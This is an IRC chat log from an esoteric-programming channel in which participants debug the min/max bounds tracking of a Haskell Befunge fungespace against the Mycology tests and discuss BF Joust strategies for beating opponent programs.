00:05:22 <elliott> ference, this means jhc can compile to most any standard imperative architecture/language/virtual machine directly without special support for a stack or tail-calls." ""All indirect jumps are transformed away, jhc's final code is very similar to hand-written imperative code, using only branches and static function calls. A simple basic-blocks analysis is enough to transform tail-calls into loops."
00:05:24 <elliott> pikhq: "E is a pure type system based on Henk and the lambda-cube. An important property of E is that there is no distinction between types and values, this is important for jhc's implementation of type classes."
00:05:36 <pikhq> Sgeo: They get temperatures and humidity high enough to cause hyperthermia during the summer.
00:05:52 <Sgeo> pikhq, I was making a joke explanation for air-conditionitis
00:06:01 <pikhq> BAH
00:07:05 <Sgeo> I asked my dad what if I talked to someone who looked at my college courses. He said they wouldn't know me, and about my tending to not get stuff done on time, and said that anywhere else, I'd have failed a lot of courses
00:07:47 <elliott> Sgeo: Your dad is a moron, ignore him, you should move out, blah blah why do I even bother typing this shit
00:08:46 <pikhq> Sgeo: Your course of study qualifies you to ask "would you like fries with that?". His argument is invalid.
00:09:54 <nescience> what is the max length of a bf joust program?
00:10:04 <nescience> and/or max nested depth
00:10:32 <elliott> nescience: mu
00:11:04 <oerjan> elliott: are you sure that insertFS is the only function updating your fungespace?
00:11:27 <oerjan> also, have you tested it directly
00:12:13 <elliott> oerjan: haven't tested it directly, I will now; nothing else modifies it directly
00:12:16 <elliott> only through insertfS
00:12:18 <elliott> *insertFS
00:12:55 <quintopia> Sgeo: you mean fan death?
00:13:17 <elliott> oerjan: *Shiro.FungeSpace Data.Map> insertFS (10,10) 42 $ insertFS (-10,10) 42 emptyFungeSpace
00:13:18 <elliott> FungeSpace {spaceMap = fromList [((-10,10),42),((10,10),42)], minCoords = (-10,0), maxCoords = (10,10), rowPopulation = fromList [(10,2)], colPopulation = fromList [(-10,1),(10,1)]}
00:13:21 <elliott> oerjan: now to try removing
00:13:34 <elliott> *Shiro.FungeSpace Data.Map> insertFS (10,10) 32 $ insertFS (10,10) 42 $ insertFS (-10,10) 42 emptyFungeSpace
00:13:35 <elliott> FungeSpace {spaceMap = fromList [((-10,10),42)], minCoords = (-10,10), maxCoords = (-10,10), rowPopulation = fromList [(10,1)], colPopulation = fromList [(-10,1)]}
00:13:36 <elliott> oerjan: argh
00:13:39 <elliott> oerjan: (32 is space obviously)
00:13:53 <elliott> rowPopulation got updated correctly
00:13:58 <elliott> so did colPopulation
00:14:04 <elliott> but minCOords/maxCoords didn't
00:14:05 <elliott> and in fact
00:14:08 <oerjan> aha
00:14:10 <elliott> maxCoords went *negative*??
00:14:11 <elliott> wait
00:14:12 <elliott> that's right
00:14:13 <elliott> arguable
00:14:16 <elliott> argh
00:14:17 <elliott> *arguably
00:14:20 <elliott> oerjan: figured it out? :P
00:14:46 <oerjan> no, you got the correct result then...
00:15:04 <Sgeo> quintopia, someone quoted something that someone said about people worrying about air conditioner death too
00:15:20 <quintopia> huh
00:15:22 <elliott> oerjan: I did?
00:15:55 <elliott> *Shiro.FungeSpace Data.Map> insertFS (10,10) 42 $ insertFS (-10,10) 42 emptyFungeSpace
00:15:56 <oerjan> um yes, those are the correct minCoords/maxCoords
00:15:57 <elliott> FungeSpace {spaceMap = fromList [((-10,10),42),((10,10),42)], minCoords = (-10,0), maxCoords = (10,10), rowPopulation = fromList [(10,2)], colPopulation = fromList [(-10,1),(10,1)]}
00:15:57 <elliott> *Shiro.FungeSpace Data.Map> insertFS (999,999) 32 $ insertFS (999,999) 42 $ insertFS (10,10) 42 $ insertFS (-10,10) 42 emptyFungeSpace
00:15:57 <elliott> FungeSpace {spaceMap = fromList [((-10,10),42),((10,10),42)], minCoords = (-10,10), maxCoords = (10,10), rowPopulation = fromList [(10,2)], colPopulation = fromList [(-10,1),(10,1)]}
00:16:03 <elliott> oerjan: those two results should be identical
00:16:03 <elliott> they're not
00:16:03 <elliott> discuss
00:16:06 <elliott> s/not $/not/
00:16:25 <elliott> intermediate result:
00:16:26 <elliott> *Shiro.FungeSpace Data.Map> insertFS (999,999) 42 $ insertFS (10,10) 42 $ insertFS (-10,10) 42 emptyFungeSpace
00:16:27 <elliott> FungeSpace {spaceMap = fromList [((-10,10),42),((10,10),42),((999,999),42)], minCoords = (-10,0), maxCoords = (999,999), rowPopulation = fromList [(10,2),(999,1)], colPopulation = fromList [(-10,1),(10,1),(999,1)]}
00:16:34 <elliott> (easier to understand with wide irc window)
00:17:24 <oerjan> oh (-10,0) and (-10,10)...
00:18:06 <elliott> oerjan: want me to try less confusing coordinates?
00:18:07 <elliott> :-)
00:18:35 <oerjan> no i want you to shut up so i can look at what's already there
00:21:41 <oerjan> ah hm... lessee the code again
00:23:26 <elliott> oerjan: you want me to put it on sprunge again? :-P
00:24:01 <oerjan> um isn't it what it was previously?
00:24:28 <elliott> oerjan: yes, i was joking
00:25:25 <oerjan> the rowPopulation and colPopulation are correct at all times, it seems
00:25:49 <elliott> right. so it's the calculation of bounds that is wrong
00:26:32 <oerjan> > Map.alter
00:26:33 <lambdabot> Not in scope: `Map.alter'
00:26:36 <oerjan> > M.alter
00:26:37 <lambdabot> Overlapping instances for GHC.Show.Show
00:26:37 <lambdabot> ((Data...
00:26:43 <oerjan> ok
00:28:12 <oerjan> elliott: i note that minCoords and maxCoords are correct in the case above where the space was added
00:28:30 <oerjan> and it was added last
00:28:42 <elliott> indeed
00:28:57 <oerjan> which makes me suspect the _other_ branch
00:29:58 <oerjan> but (min x minX, min y minY) (max x maxX, max y maxY)
00:30:03 <oerjan> ought to be correct...
00:32:28 -!- Mathnerd314 has quit (Ping timeout: 245 seconds).
00:32:43 <quintopia> WOOOT!
00:33:01 <elliott> oerjan: yeah that branch is correct
00:33:03 -!- cheater- has joined.
00:33:04 <elliott> it was in the old correct version too
00:33:15 <quintopia> wireless = #1 program on the hill, with almost 5 more points than the second best
00:33:20 <elliott> oerjan: well obviously the modm part wasn't
00:35:33 <oerjan> elliott: there's just the tiny problem that the examples above that give the wrong result are cases where _only_ that branch should be used
00:35:34 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
00:36:15 <elliott> oerjan: good point. well.
00:36:15 -!- cheater00 has quit (Ping timeout: 240 seconds).
00:36:16 <oerjan> oooh i _know_
00:36:19 <elliott> (modm (+1) y popRow) (modm (+1) x popCol)
00:36:22 <elliott> oerjan: oh thank god
00:36:24 <elliott> what is it
00:36:33 <oerjan> the error is in emptyFungeSpace
00:36:51 <oerjan> it is empty, it shouldn't _have_ minima or maxima
00:37:10 <elliott> emptyFungeSpace = FungeSpace Map.empty (0,0) (0,0) Map.empty Map.empty
00:37:13 <elliott> oerjan: yes, but so?
00:37:15 <elliott> oerjan: in all my examples,
00:37:20 <oerjan> this causes min 10 0 = 0, the wrong result once you add one element
00:37:21 <elliott> oerjan: i add before removing
00:37:25 <elliott> oerjan: and findMin/... aha
00:37:45 <elliott> oerjan: hm what's the solution though :D
00:37:54 <elliott> apart from an ugly Maybe around everything
00:38:32 <oerjan> well you just need to know when it's empty in the second branch
00:39:07 <elliott> (if m == Map.empty then (x,y) else (min x minX, min y minY))
00:39:10 <elliott> hacks away!
00:39:30 <elliott> oerjan: so my minimum bound has been broken this whole time heh
00:39:54 <oerjan> oh and btw you might get a crash from the first branch if you empty fungespace again, not that i know whether this is possible
00:40:04 <elliott> i think it is but i'll deal with that later
00:40:06 <elliott> oerjan: just fixed that AND... drumroll ... ... wait for it
00:40:14 <elliott> that's right!! nothing changed
00:40:22 <oerjan> huh
00:40:37 <elliott> | otherwise =
00:40:37 <elliott> FungeSpace (Map.insert k v m)
00:40:37 <elliott> (if m == Map.empty then (x,y) else (min x minX, min y minY))
00:40:37 <elliott> (max x maxX, max y maxY)
00:40:37 <elliott> (modm (+1) y popRow) (modm (+1) x popCol)
00:41:07 -!- Mathnerd314 has joined.
00:41:07 <oerjan> um you need that on max too
00:41:58 <oerjan> although indeed that should have changed that error part...
00:42:18 <elliott> oh right
00:42:47 <elliott> same error still though
00:42:56 <elliott> BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( -10 -10 )
00:42:58 <elliott> BAD: after spacing top-left corner, y should report greatest point as ( 182 910 ), not ( 190 919 )
00:42:58 <elliott> BAD: after spacing right edge, least point reported by y should remain ( -2 -1 )
00:42:58 <elliott> BAD: after spacing right edge, y should report greatest point as ( 181 910 ), not ( 190 919 )
00:42:58 <elliott> BAD: after spacing bottom edge, y should report greatest point as ( 181 909 ), not ( 190 918 )
00:43:16 <oerjan> huh
00:44:34 <oerjan> well that particular error just corrected cannot give anything but a misplaced 0 somewhere, i think
00:44:46 <oerjan> so that cannot be the cause
00:46:05 <elliott> oerjan: this is the most wtf bug ever...
00:46:12 <oerjan> heh
00:46:15 <elliott> oerjan: the algorithm does make sense right?
00:46:23 <oerjan> you'd think
00:46:25 <elliott> taking the minimum and max keys of a population count map where there are no 0 values
00:46:34 <elliott> oerjan: AHA
00:46:44 <elliott> oerjan: what if there's a value at (0,500) and a value at (700,0)
00:46:52 <elliott> no, wait, that works
00:46:58 <elliott> maxX = 700, maxY = 500
00:48:34 <elliott> oerjan: so err... any clues
00:49:58 <oerjan> elliott: is it possible for you to get a print of the fungespace at that point when the bad thing happens?
00:50:16 <elliott> oerjan: i could print it out on every y, but IIRC Mycology tests y a shitload. but it could be worth a try.
00:50:27 <elliott> oerjan: except that that would be /hopelessly/ impractical, unless i omitted the space map
00:50:35 <elliott> oerjan: because mycology is a 100K text file even to start with
00:50:42 <elliott> would just the min/max coords and population lists do?
00:50:45 <oerjan> elliott: try putting in a test for the faulty values 190 919 it mentions above
00:50:45 <elliott> (population lists will be very long)
00:50:54 <elliott> just print out the value at that point?
00:50:59 <elliott> or?
00:51:21 -!- poiuy_qwert has joined.
00:51:30 <oerjan> yeah try that first
00:52:19 -!- augur has joined.
00:52:22 <elliott> oerjan: btw just so you know:
00:52:24 <elliott> before that test:
00:52:28 <elliott> ("YYYYYY","190 919 --> ",32)
00:52:28 <elliott> y claims all of the following:
00:52:28 <elliott> [...]
00:52:30 <elliott> That the least point containing a non-space cell is ( -3 -2 )
00:52:36 <elliott> That the greatest point, relative to that point, is ( 183 911 )
00:52:36 <elliott> note: relative to that point
00:52:42 <elliott> oerjan: tl;dr whenever y is called, 190,919 is 32
00:52:50 <elliott> my hunch is that it's always 32.
00:53:01 <elliott> oerjan: remember that even if (x,y) is the tightest max bound it can be space
00:53:09 <elliott> oerjan: because consider (32,0) and (0,32)
00:53:11 <elliott> max bound is (32,32)
00:53:13 <elliott> which will just have a space at it
00:53:56 <oerjan> hm
00:55:00 <oerjan> well but _is_ the separate maxx and maxy which should be reported, not some actually filled cell, i presume
00:55:05 <oerjan> *it _is_
00:55:10 <elliott> yep
00:55:22 <elliott> oerjan: (well technically the spec contradicts that but then it contradicts itself a line later, so we just ignore it)
00:55:37 <elliott> oerjan: it's the topleftmost point of the smallest bounding rectangle and its size, basically
00:56:00 <oerjan> yeah
00:56:16 <elliott> by basically, i mean exactly
00:56:27 <elliott> SO ER ANY IDEAS :D ... maybe it's a GHC bug!
00:56:41 <oerjan> and you said this worked before you optimized insertFS's minmax calculations
00:56:42 <elliott> as far as I can tell, the logic is flawless. so i'm dumbfoundergasted.
00:56:58 <elliott> oerjan: yes; for posterity here is the original version of insertFS
00:57:28 <oerjan> elliott: try calculating the min and max at that point directly from the main Map
00:57:43 <elliott> oerjan: er, if you let me paste, that's exactly what insertFS /used/ to do
00:57:45 <elliott> stupid sprunge is being slow
00:57:51 <elliott> oerjan: http://sprunge.us/GhCM
00:58:12 <elliott> this worked perfectly apart from the minor "empty fungespace min/max" bug which did _not_ trigger in mycology
00:58:26 <elliott> ofc there were no population count maps
00:59:44 <oerjan> hmph
00:59:49 <elliott> oerjan: so we know that the population counts are being updated perfectly.
01:00:12 <elliott> oerjan: and we know that the non-shrink case updates the ... wait
01:00:19 <elliott> no, nm
01:00:23 <elliott> oerjan: and we know that the non-shrink case updates the bounds perfectly
01:00:34 <elliott> oerjan: so the error _must_ be in the calculation of bounds from population counts in the shrink case
01:00:41 <elliott> newMinX = fst . Map.findMin $ colPopulation fs'
01:00:43 <elliott> newMaxX = fst . Map.findMax $ colPopulation fs'
01:00:43 <elliott> newMinY = fst . Map.findMin $ rowPopulation fs'
01:00:43 <elliott> newMaxY = fst . Map.findMax $ rowPopulation fs'
01:00:44 <elliott> the error must be there
01:00:47 <elliott> >_<
01:02:04 <oerjan> so you _have_ checked that colPopulation and rowPopulation are correct at the BAD point?
01:02:37 <oerjan> (or, whatever mycology wants it to be)
01:03:09 <elliott> oerjan: well no. but thanks to my exhaustive two-line test, i assume that code is perfect
01:03:30 <oerjan> WELL CHECK IT ANYHOW
01:03:43 <elliott> *Shiro.FungeSpace Data.Map> insertFS (10,12) 22 $ insertFS (10,11) 22 $ insertFS (10,10) 22 emptyFungeSpace
01:03:44 <elliott> FungeSpace {spaceMap = fromList [((10,10),22),((10,11),22),((10,12),22)], minCoords = (0,0), maxCoords = (10,12), rowPopulation = fromList [(10,1),(11,1),(12,1)], colPopulation = fromList [(10,3)]}
01:03:44 <elliott> *Shiro.FungeSpace Data.Map> insertFS (10,11) 32 $ insertFS (10,12) 22 $ insertFS (10,11) 22 $ insertFS (10,10) 22 emptyFungeSpace
01:03:44 <elliott> FungeSpace {spaceMap = fromList [((10,10),22),((10,12),22)], minCoords = (10,10), maxCoords = (10,12), rowPopulation = fromList [(10,1),(12,1)], colPopulation = fromList [(10,2)]}
01:03:48 <elliott> oerjan: looks good to me
01:03:54 <elliott> oerjan: there is no way i can test col/rowPopulation on mycology
01:03:58 <elliott> oerjan: as i said, it's 100K + some
01:04:00 <oerjan> elliott: not _that_ test
01:04:03 <elliott> oerjan: what test?
01:04:14 <oerjan> elliott: that many columns and rows?
01:04:34 <elliott> oerjan: what do you mean? obviously there can be an empty row
01:04:38 <elliott> and it won't be in the list
01:04:38 <elliott> in the middle
01:04:55 <oerjan> i mean 100K doesn't mean 100K rows or 100K columns
01:05:14 <oerjan> although i guess rows are often larger
01:05:25 <oerjan> ok so just check the columns
01:05:35 <elliott> oerjan: same with columns, it was an example
01:05:36 <oerjan> they were reported in error too, after all
01:05:43 <elliott> oerjan: mycology explicitly puts something a way out of space
01:05:49 <elliott> with both blank columns and rows separating it from anything else
01:06:03 <oerjan> elliott: well that doesn't matter unless it puts things in _every_ column
01:06:08 <oerjan> (well, most)
01:06:25 <elliott> oerjan: well i'm not sure what you want me to print them
01:06:28 <elliott> *then
01:06:36 <elliott> io $ print ("YYYYYY","190 919 --> ", fungeSpace st !@ (190,919))
01:06:40 <elliott> is what I have now
01:06:41 <elliott> *))
01:07:30 <oerjan> just print minimum . keys ... and maximum . keys ... for colPopulation directly
01:08:10 <oerjan> we want to see if colPopulation itself contains an error before assuming that the error is in calculating data _from_ it
01:08:23 <oerjan> so calculate the data in a different way
01:08:40 <elliott> oerjan: ok, where do yo uwant the output from?
01:08:42 <elliott> which point
01:08:43 <elliott> *you want
01:08:56 <elliott> ("minkeys are monkeys",-10,"but maxkeys are for life",180)
01:08:57 <elliott> ("minkeys are monkeys",-10,"but maxkeys are for life",180)
01:08:57 <elliott> BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( ("minkeys are monkeys",-10,"but maxkeys are for life",180)
01:08:57 <elliott> [same coords for the rest of the errors]
01:08:59 <oerjan> some point where you know mycology is complaining about the result of y
01:09:11 <elliott> thta's the first point
01:09:17 <elliott> relevant:
01:09:24 <elliott> ("minkeys are monkeys",-3,"but maxkeys are for life",180)
01:09:28 <elliott> That the least point containing a non-space cell is ( -3 -2 )
01:09:28 <elliott> That the greatest point, relative to that point, is ( 183 911 )
01:09:32 <elliott> (note that it's offset so 183-3 = 180 is the real greatest point)
01:09:38 <elliott> (in the y output that is)
01:09:40 <elliott> (the debug output is absolute)
01:09:51 <elliott> oerjan: and it turns to -10,180 here:
01:09:56 <elliott> GOOD: read written data to (-10, -10)
01:09:57 <elliott> GOOD: (-8, -9) is @
01:09:57 <elliott> GOOD: read data in binary mode to (-10, -10)
01:09:57 <elliott> GOOD: (0, -10) is 13
01:09:57 <elliott> ("minkeys are monkeys",-10,"but maxkeys are for life",180)
01:10:00 <elliott> for obvious reasons
01:10:17 <oerjan> ok so that means colPopulation _is_ in error
01:10:29 <oerjan> or so i would assume now
01:10:44 <oerjan> (that -10 should have been -2)
01:11:17 <elliott> seemingly
01:11:30 <oerjan> ooh i think i know again!
01:11:36 <elliott> yay!
01:11:58 <oerjan> i asked you about why you didn't check if Map.lookup k m == Nothing
01:11:59 -!- pikhq_ has joined.
01:12:09 <elliott> because mistake :D
01:12:09 -!- pikhq has quit (Ping timeout: 265 seconds).
01:12:15 <elliott> oh of _COURSE_
01:12:18 <elliott> the problem is that if it's nothing,
01:12:27 <elliott> it still subtracts from popcount!
01:12:29 <oerjan> yep
01:12:41 <elliott> fixing
01:12:47 <elliott> if fs !@ k == space then fs else
01:12:48 <elliott> one line fix
01:13:20 <elliott> BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( ("minkeys are monkeys",-10,"but maxkeys are for life",180)
01:13:22 <elliott> ("minkeys are monkeys",-10,"but maxkeys are for life",180)
01:13:22 <elliott> -10 -10 )
01:13:28 <oerjan> ARGH
01:13:31 <elliott> oerjan: wtf, we (you) keep discovering and fixing all these fatal bugs, but they don't change shit
01:13:38 <elliott> this is the worst :D
01:14:30 <elliott> oerjan: sooooooooooooo :D
01:14:47 <oerjan> oh wait ... the other branch has the _opposite_ error :D
01:14:59 <oerjan> you add 1 even if it _wasn't_ space :D
01:15:02 <elliott> oerjan: aaargh :D
01:15:12 <elliott> oerjan: have i ever told you i'm retarded?
01:15:21 <oerjan> MAYBE
01:15:29 <oerjan> ON OCCASION
01:15:38 <elliott> (if fs !@ k == space then modm (+1) y popRow else popRow)
01:15:40 <elliott> (if fs !@ k == space then modm (+1) x popCol else popCol)
01:15:51 <elliott> oerjan: i love how perfect the code looked at first
01:15:54 <elliott> and now ALL THESE BUGS
01:16:07 <elliott> YES
01:16:14 <elliott> GOOD: y reports shrunk bounds correctly after spacing top-left corner
01:16:18 <elliott> GOOD: y reports shrunk bounds correctly after spacing right edge
01:16:22 <elliott> GOOD: y reports shrunk bounds correctly after spacing bottom edge
01:16:23 <elliott> oerjan: you, sir, are a scholar and a gentleman
01:16:28 * oerjan does a happy dance
01:16:44 <elliott> oerjan: you've finally put your phd to good use!
01:16:48 <elliott> (oh snap)
01:16:59 <elliott> no but seriously :DDDDDD ENDLESS HAPPIES THANK YOU
01:17:00 <oerjan> XD
01:17:28 -!- copumpkin has joined.
01:17:28 -!- copumpkin has quit (Changing host).
01:17:28 -!- copumpkin has joined.
01:18:50 <elliott> woooo
01:19:05 <elliott> oerjan: now i have to backport my optimised mergeByteString to this new structure :-D
01:19:08 <elliott> time to break shit!!!
01:19:21 <elliott> <oerjan> oh _dear_ god
01:19:39 <oerjan> SOMETHING LIKE THAT
01:19:56 <oerjan> sleep ->
01:20:02 -!- oerjan has quit (Quit: Good night).
01:23:07 <elliott> TODO: actually port the optimise mergeByteString :D
01:23:57 -!- myndzi\ has changed nick to myndzi.
01:24:04 <myndzi> btw the bot tries to msg back the wrong nick
01:24:11 <myndzi> i think it tried to msg myndzi_
01:24:18 <myndzi> or maybe not?
01:24:27 <myndzi> it just didn't send for some reason
01:30:54 <elliott> it uses dcc
01:34:45 -!- zzo38 has joined.
01:34:47 -!- elliott has quit (Quit: Leaving).
01:39:08 <myndzi> huh?
01:39:23 <myndzi> someone doesn't know the difference between dcc and msg?
01:41:02 -!- pikhq_ has changed nick to pikhq.
01:44:29 -!- poiuy_qwert has changed nick to p_q.
01:44:44 -!- p_q has changed nick to poiuy_qwert.
01:52:19 -!- poiuy_qwert has quit (Changing host).
01:52:19 -!- poiuy_qwert has joined.
01:55:19 -!- hagb4rd has quit (Ping timeout: 276 seconds).
02:23:42 <quintopia> ohai myndzi
02:24:54 <quintopia> careful beats wireless every time on one polarity, and vice versa on the other XD
02:25:05 <myndzi> lolwut
02:25:07 <myndzi> how is that possible
02:25:16 <myndzi> oh
02:25:19 <myndzi> nevermind
02:25:25 <quintopia> how?
02:25:27 <myndzi> i thought you meant you submitted wireless with a reversed polarity
02:25:35 <quintopia> oh
02:25:36 <quintopia> yeah
02:25:44 <quintopia> srsly tho, how does it happen?
02:25:50 <myndzi> easy
02:25:51 <quintopia> fuckin polarities, how do they work
02:25:53 <myndzi> it's polarized
02:26:12 <quintopia> it's designed to work better on one polarity?
02:26:12 <myndzi> here, i'll even it out
02:26:14 <myndzi> :P
02:26:57 <quintopia> geez man, wanna shorten that thing a bit?
02:27:21 <myndzi> ha, that actually didn't do what i thought it would
02:27:58 <myndzi> btw what are you doing, tweak2win? :P
02:28:33 <quintopia> well just now, i was just trying to figure out a way to beat shudder consistently, cuz the old version just basically beat it on length 30
02:28:42 <quintopia> still haven't quite got it
02:28:53 <myndzi> who cares about shudder :P
02:29:13 <quintopia> well i already beat most everything else
02:29:24 <quintopia> wiggle3 is my bane, but i don't know what to do about that
02:29:27 <quintopia> shudder seems doable
02:29:47 <myndzi> wiggle3 -> set bigger decoys than it offsets
02:29:57 <quintopia> already do that.
02:29:59 <myndzi> in the right order
02:30:05 <quintopia> which order?
02:30:05 <myndzi> guess maybe you just attack too slow then
02:30:10 <myndzi> in the order it clears them
02:30:15 <myndzi> the first ones it clears are small
02:30:24 <myndzi> actually, i am misremembering
02:30:26 <myndzi> ignore that
02:30:32 <myndzi> you just want to force it into the deepest loop
02:30:48 <myndzi> as for the thing with careful
02:30:51 <myndzi> it only attacks in one direction
02:31:06 <myndzi> so obviously if you have defensive mechanisms, decoys, etc. in the other direction it won't work well in that combination
02:31:23 <myndzi> i thought i could balance it out if i added an attack in the opposite direction but that didn't happen
02:32:07 <quintopia> my decoys are l2r, -127,129,-129,-19,18,-1,1
02:32:52 <myndzi> well wiggle was optimized agaisnt slowrush lol
02:32:54 <myndzi> which used 19
02:33:02 <myndzi> so you go to 20 and it'll help
02:33:13 <myndzi> i actually cheated a little, bumped the decoys just a bit to get him back for that
02:33:14 <myndzi> :P
02:33:22 <quintopia> nah, it looked like it was optimized against 20 when i read it
02:33:36 <myndzi> well yeah, he went one over
02:33:37 <quintopia> but yeah, those decoys worked better than 20 when i tested them
02:33:43 <myndzi> at the time every time i changed it he edited it to match
02:33:48 <myndzi> same with other people on the hill
02:33:48 <myndzi> lol
02:34:24 <quintopia> it's a built-in game of the the traveller's dilemma :P
02:34:32 <quintopia> *iterated traveller's dilemma
02:35:25 <myndzi> well you can see ais avoiding doing that sort of thing
02:35:44 <myndzi> i try to too, slowrush was a special case for me because it was back and forth between 1 and 2 with wiggle back then and now i get to have the last word ;)
02:35:53 <myndzi> apparently alternating attacks isn't enough
02:36:32 <quintopia> well, any idea how to stop drawing against shudder?
02:36:42 <quintopia> on all but one tape length?
02:36:52 <myndzi> lol
02:36:56 <myndzi> maybe you aren't reaching the last cell
02:37:03 <myndzi> oh, drawing on all BUT one
02:37:21 <quintopia> i think i can detect it, but no idea what sequence of shifts would kill it
02:37:36 <myndzi> you have to counter its attack
02:37:42 <myndzi> ++ when it -- or something
02:37:49 <myndzi> and at the right time, too
02:37:55 <myndzi> basically it's a waste of time
02:38:20 <quintopia> yeah, but it'll get me a lot of points without costing me in other matches, so....
02:38:25 <myndzi> i'm curious why our programs behave that way too
02:38:37 <myndzi> it will cost you in other matches
02:38:42 <myndzi> because you have to spend a lot of time on your attack to beat it
02:38:48 <quintopia> nah
02:38:49 <myndzi> just tie with it and call it good
02:38:49 <myndzi> :P
02:38:59 <myndzi> if you tie with it every round except the last one, that's enough to beat it actually
02:39:13 <quintopia> i do beat it
02:39:14 <myndzi> tying means don't fall out of the attack loop
02:39:18 <quintopia> but i could beat it more
02:39:21 <myndzi> lol
02:39:26 <myndzi> you don't get more points for beating it more
02:39:28 <myndzi> (?)
02:39:35 <quintopia> don't i?
02:39:39 <myndzi> not that i know of
02:39:45 <myndzi> afaik the only point gain is from win or loss
02:39:47 <myndzi> not how much you won or lost by
02:39:49 <myndzi> but i could be wrong
02:39:54 <quintopia> let's see then
02:40:42 <quintopia> scores say you do
02:41:02 <quintopia> Each program gains one point per win and loses one point per loss, with ties
02:41:02 <quintopia> neither gaining nor losing points. The duel points have the range -84 to 84,
02:41:02 <quintopia> inclusive.
02:41:02 <quintopia> The sum of these duel points total is then divided by 84, the total number of
02:41:02 <quintopia> configurations, such that the point range is -M to M inclusive, where M is one
02:41:04 <quintopia> less than the total number of programs.
02:41:27 <myndzi> that's points, but you're ranked by score
02:41:32 <quintopia> yes but...
02:41:36 <myndzi> score is based on the points of the programs you beat, yes?
02:41:40 <quintopia> Scores are derived from the basic points, but giving more emphasis to defeating
02:41:43 <quintopia> good programs. Every program is given a worth of (points+N)/(M*2), where N is
02:41:46 <quintopia> the number of programs and M is N-1.
02:41:52 <quintopia> points are included in the score
02:41:56 <myndzi> i see
02:42:01 <myndzi> well t hen
02:42:02 <myndzi> then*
02:42:09 <myndzi> maybe i should be optimizing a little more ;)
02:42:30 <quintopia> so yeah
02:42:49 <quintopia> i can detect when i'm facing shudder already, and only do the long attack loop in that case
02:43:00 <quintopia> but i don't know what sequence will kill it fastest
02:43:18 <quintopia> butter doesn't work :P
02:43:22 <myndzi> well if you want both polarities you have to spend like 256 cycles on both
02:43:25 <myndzi> wut
02:43:58 <myndzi> it beats them both
02:44:03 <myndzi> dunno by how much though
02:44:15 <myndzi> anyway look at it like this
02:44:20 <myndzi> shudder makes the flag cell sequence go:
02:44:30 <myndzi> 0 1 0 1 2 1 2 3 2 3 4 3 4 5....
02:45:02 <myndzi> so what you need to do is hit it with a - or + at the right time, and then you beat it
02:45:12 <myndzi> you can see that the 'right time' is basically every other cell
02:45:37 <myndzi> but you have to be lined up with it
02:45:51 <myndzi> let's see what happens if you do something like -..-..-..-..-..
02:46:36 <quintopia> i started to work it out like this on paper but then i was like BAH THIS WILL TAKE FOREVER
02:46:59 <quintopia> but that sequence is basically what i'm doing already, and it doesn't work
02:47:15 <myndzi> i am thinking out loud here ;p
02:47:19 <myndzi> obviously -. won't work properly
02:47:22 <quintopia> (i'm actually doing [+.] which is equivalent)
02:47:27 <myndzi> so you need a sequence that is relatively prime to its progress
02:47:38 <myndzi> time for excel
02:47:40 <quintopia> so maybe +..
02:47:50 <myndzi> +.. will not work better than -..
02:47:55 <quintopia> yes
02:48:01 <quintopia> but [+..] is rel prime to it
02:48:05 <quintopia> 4 cycles to 3
02:48:11 <myndzi> nah, that's a 4 cycle loop
02:48:15 <myndzi> oh, but i see what you mean
02:48:19 <myndzi> anyway, one sec
02:50:59 -!- cal153 has quit (Ping timeout: 240 seconds).
02:52:23 <myndzi> well, two cycles is relatively prime to 3
02:52:36 <myndzi> if it's a net positive, then a two cycle negative loop will beat it very slowly
02:52:48 <myndzi> now to try the reverse
02:53:07 <quintopia> how many cycles does it take there?
02:53:25 <myndzi> a long time
02:53:31 <myndzi> because it progresses at a rate of like 1 every 6
02:53:40 <myndzi> so it could be as much as 255*6
02:53:49 <quintopia> that's still less than 10000
02:53:49 <myndzi> the problem is that if the polarity switches you're SOL
02:54:20 <quintopia> hmmmm
02:54:23 <myndzi> anyway unless you manage to get exactly in synch with it
02:54:29 <quintopia> what happens if you put a tripwire there
02:54:31 <myndzi> there isn't a real good solution
02:54:36 <myndzi> i was thinking about that just now
02:54:43 <myndzi> if you are guaranteed not to run this code unless you are facing shudder
02:54:47 <quintopia> yeah
02:54:50 <myndzi> then you should be able to synch up fairly easily
02:54:56 <myndzi> by waiting until it hits 0 on its own
02:55:04 <myndzi> then what you want to do is assume it's going one way
02:55:10 <myndzi> and attack in a way that would kill it
02:55:12 <quintopia> then repeat if you were wrong
02:55:14 <myndzi> then wait again and do it the other direction
02:55:15 <myndzi> yeah
02:55:23 <myndzi> that's probably the fastest way to do it
02:55:36 <quintopia> so, []+[]-
02:55:40 <myndzi> not quite
02:55:49 <myndzi> [] checks at the beginning of the cycle
02:55:53 <myndzi> death checks at the end
02:56:01 <myndzi> so when your tripwire falls through
02:56:06 <myndzi> the cell will have moved on to the next instruction
02:56:15 <myndzi> and it hits 0 three times
02:56:18 <myndzi> on each instruction
02:56:27 <quintopia> huh
02:56:31 <myndzi> to synch up you'd have to do some craziness actually
02:56:35 <quintopia> oh right
02:56:41 <myndzi> like, say that it is running +--
02:56:44 <myndzi> and the + makes it 0
02:56:49 <myndzi> then when your code runs it will be -1
02:56:56 <myndzi> so to get it back to 0 for two cycles
02:57:15 <myndzi> you would have to run +.+
02:57:26 <myndzi> because the + would counteract the second -
02:57:30 <myndzi> . lets it bring itself to 0
02:57:33 <myndzi> and + counteract the first -
02:57:39 <myndzi> then you can have another loop to check if that failed
02:57:45 <myndzi> if so, you try another sequence
02:57:53 <myndzi> so you could have like
02:57:53 <quintopia> so the possibilities are
02:57:55 <quintopia> ++-
02:57:57 <quintopia> and --+
02:58:06 <myndzi> well there's timing remember
02:58:09 <quintopia> right
02:58:11 <myndzi> say it hits it on the second instruction
02:58:22 <myndzi> which could happen depending on when you arrive, i guess
02:58:30 <myndzi> i'd go with the most probable one first, which is to be on the 'leading edge'
02:58:35 <quintopia> but is there a sequence of additions that can cover multiple polarities and timings?
02:58:38 <myndzi> we'll assume you get there and you are waiting for it to find 0 on its own
02:58:53 <quintopia> oh right
02:58:54 <myndzi> maybe, but it's probably convoluted and takes a long time
02:59:04 <myndzi> but you've said we can "detect" it and therefore run specific code
02:59:07 <myndzi> so here's how i'd do it
02:59:08 <quintopia> so ++- is most likely to hit the second +
02:59:15 <quintopia> and --+ the second minus
02:59:27 <myndzi> if it's a net positive, it will first hit 0 on the second +
02:59:39 <myndzi> your trip falls through and it will be running the backwards step
02:59:47 <myndzi> which takes it to -1
